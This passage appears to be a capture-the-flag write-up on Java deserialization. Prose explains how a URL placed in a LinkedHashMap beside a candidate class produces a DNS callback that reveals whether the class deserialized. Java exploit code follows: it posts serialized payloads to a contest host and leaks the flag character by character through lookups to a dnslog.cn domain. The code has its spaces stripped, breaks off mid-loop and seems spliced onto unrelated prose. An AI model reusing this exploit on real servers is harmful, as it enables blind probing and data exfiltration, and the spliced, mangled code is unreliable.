This sparked an idea! If I could add candidate Class objects to the HashMap, then I might be able to leverage this property of URL comparison to receive an indicator of deserialization success or failure. A consistent signal of success or failure would allow me to determine if a candidate class was present in the remote classpath. After some experimentation, I constructed a Boolean primitive using a LinkedHashMap (to preserve order), with a candidate Class object and a URL pointing to my authoritative DNS server.
It worked! If an exception was triggered while deserializing the Class in question, the URL comparison operation would never occur due to the exception thrown when trying to deserialize the candidate class. Or if it did deserialize successfully, then I would get a DNS callback
publicclassexp{ publicstaticvoiddoGETParam(Object obj)throws Exception{ URI url = new URI("http://eci-2zeiwgqxiu479nr669vm.cloudeci1.ichunqiu.com:8888/flag");
HttpEntity<byte[]> requestEntity = new HttpEntity<>(Serialize.serialize(obj)); RestTemplate restTemplate = new RestTemplate(); ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class); System.out.println(res.getStatusCodeValue()); System.out.println(res.getBody()); } publicstaticvoidmain(String[] args)throws Exception { String ss="abcdefghijklmnopqrstuvwsyz1234567890-";
for (int i=0;i<ss.length();i++){ char dd=ss.charAt(i); Flag a =new Flag("flag{caf543d8-1e6e-4f18-a02c-f34cf50250c6"+dd); LinkedHashMap hm = new LinkedHashMap();
URL url = new URL("http://a"+dd+ ".a4mqpp.dnslog.cn"); Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); f.setAccessible(true); f.set(url, 0xdeadbeef); hm.put("sie",a); hm.put(url, "sie"); f.set(url, -1);